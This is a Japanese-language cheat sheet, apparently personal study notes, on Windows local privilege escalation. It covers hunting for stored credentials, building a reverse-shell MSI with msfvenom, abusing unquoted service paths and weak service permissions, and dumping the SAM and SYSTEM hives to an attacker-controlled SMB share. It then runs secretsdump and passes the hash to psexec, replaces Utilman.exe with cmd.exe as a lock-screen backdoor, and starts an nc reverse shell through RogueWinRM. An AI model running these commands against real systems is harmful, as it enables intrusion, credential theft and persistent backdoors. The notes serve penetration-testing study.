Open1

Windows PrivEscメモ

rikotekirikoteki

現在のユーザーが所持している権限

whoami /priv

攻撃ベクタになり得る権限

  • SeImpersonatePrivilege ← 認証後にユーザーの偽装が可能
  • SeBackupPrivilege ← 全てのファイルに読み書きが可能

Windows Deployment Servicesで使用したパスワード

- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml

Powershell history

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

保存済みのWindowsクレデンシャル

保存済みのWindowsクレデンシャルを確認するコマンド

cmdkey /list

保存済みクレデンシャルで新しいコマンドプロンプトを起動する

runas /savecred /user:{saved user} cmd.exe

IISの設定ファイル

- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\{version}\Config\web.config

web.configからconnectionString要素を検索

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

SSHクライアントPuTTYのクレデンシャル

reg query HKEY_CURRENT_USER\Software\{username}\PuTTY\Sessions\ /f "Proxy" /s

タスクスケジューラ

存在するタスクの確認

schtasks /query /tn {taskname} /fo {format} /v

タスクのマニュアル実行

schtasks /run /tn {taskname} 

ファイルに対する権限を確認

icacls path\to\file

権限一覧

 a sequence of simple rights:
                N - no access
                F - full access
                M - modify access
                RX - read and execute access
                R - read-only access
                W - write-only access
                D - delete access
        a comma-separated list in parentheses of specific rights:
                DE - delete
                RC - read control
                WDAC - write DAC
                WO - write owner
                S - synchronize
                AS - access system security
                MA - maximum allowed
                GR - generic read
                GW - generic write
                GE - generic execute
                GA - generic all
                RD - read data/list directory
                WD - write data/add file
                AD - append data/add subdirectory
                REA - read extended attributes
                WEA - write extended attributes
                X - execute/traverse
                DC - delete child
                RA - read attributes
                WA - write attributes
        inheritance rights may precede either form and are applied
        only to directories:
                (OI) - object inherit
                (CI) - container inherit
                (IO) - inherit only
                (NP) - don't propagate inherit
                (I) - permission inherited from parent container

msi経由でのPrivEsc

msi実行は管理者権限で行われるためこれを利用するテクニック
事前に2つのレジストリキーに対して値を設定する必要がある

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

msfvenomでmsiを生成

msfvenom -p windows/x64/shell_reverse_tcp LHOST={targetIP} LPORT={localport} -f msi -o malicious.msi

何らかの方法で生成したmsiを攻撃対象に転送する

// attacker
python -m http.server 8080
// target
wget http://attaker_machine:8080/malicious.msi

msiを実行する

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Windowsサービスの設定不備

サービス名を列挙

sc query state= all | findstr /B SERVICE_NAME

サービスの設定情報を表示(qc=query configration)

sc qc {servicename}
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1

サービスが起動するバイナリの権限を確認

icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

everyoneにModifiableが設定されているので悪意のあるバイナリに差し替えが可能

サービスの起動バイナリのパスが『"』で囲まれていない

// correct
BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service

// incorrect
BINARY_PATH_NAME   : C:\Program Files\RealVNC\VNC Server\vncserver.exe -service

引用符で囲まれていないサービスパスにスペースが含まれている場合、シェルによって下記の順序でコマンドが解決される

service path arg1 arg2
C:\MyPrograms\Disk.exe Sorter Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

このためC:\MyPrograms\Disk.exeC:\MyPrograms\Disk Sorter.exeに悪意のあるバイナリを作成することで優先して実行させることができる。

サービスに対する権限設定の不備

accesschk64.exeを使用してサービスの権限を確認
Usersに対してSERVICE_ALL_ACCESSが設定されているため、サービスの設定を変更することが可能

C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

実行バイナリのパスを変更する

C:\> sc config {servicename} binPath= "{binarypath}" obj= LocalSystem

バイナリに実行権限を付与する

C:\> icacls {binarypath} /grant Everyone:F

サービス再起動(cmdで実行しないと再起動できない...)

sc stop {servicename}
sc start {servicename}

ユーザーに設定されている権限

Windowsで利用可能な権限一覧
https://docs-microsoft-com.translate.goog/en-us/windows/win32/secauthz/privilege-constants?_x_tr_sl=auto&_x_tr_tl=ja&_x_tr_hl=ja
権限の確認

whoami /priv

SeBackupとSeRestore

この権限が付与されている場合、ユーザーは任意のファイルへの読み書き権限が与えられるため、
SAM および SYSTEM レジストリ ハイブをコピーして、ローカル管理者のパスワード ハッシュを抽出できる

レジストリの抽出

// SYSTEM
reg save hklm\system {save path}
// SAM
reg save hklm\sam {save path}

抽出したファイルをSMB経由で攻撃マシンに転送

// Atacker
mkdir share
python /opt/impacket/examples/smbserver.py -smb2support -username {username} -password {password} public share

// victim
C:\> copy {source file path} \\ATTACKER_IP\public\

ユーザーのパスワードハッシュ抽出

python /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

抽出したハッシュを使用してシェルを獲得

python /opt/impacket/examples/psexec.py -hashes {hash} {username}@{victimIP}

SeTakeOwnership

任意のオブジェクトに対する所有権を取得することを許可する権限
SYSTEM として実行されているサービスを検索し、サービスの実行可能ファイルの所有権を取得できる

utilman.exeへの攻撃
utilman.exeはロック画面中に単純なオプション機能を提供する組み込みアプリケーション

takeownコマンドで対象の所有権を得る

takeown /f C:\Windows\System32\Utilman.exe

実行権限(Full Control)を付与

icacls C:\Windows\System32\Utilman.exe /grant Everyone:F

Utilman.exeをcmd.exeに上書き

copy cmd.exe C:\Windows\System32\Utilman.exe

Windowsをロック画面にし、Ease of accessをクリックするとcmd.exeが起動する

SeImpersonate / SeAssignPrimaryToken

これらの権限により、プロセスは他のユーザーのプロセスになりすますことができる

RogueWinRM.exeを使用してなりすました権限でリバースシェルを張る

RogueWinRM.exe -p "nc64.exe" -a "-e cmd.exe {attackerIP} {attackerport}"

パッチのあたっていないソフトウェア

wmicコマンドでインストールされているソフトウェアを表示する

wmic product get name,version,vendor

tips
ユーザー作成&グループ設定

net user {username} {password} /add
net localgroup {groupname} {username} /add

Windows PrivEscツール

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
https://github.com/itm4n/PrivescCheck
https://github.com/bitsadmin/wesng
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Windows - Privilege Escalation.md
https://github.com/gtworek/Priv2Admin
https://github.com/antonioCoco/RogueWinRM
https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
https://decoder.cloud/
https://dl.packetstormsecurity.net/papers/presentations/TokenKidnapping.pdf
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation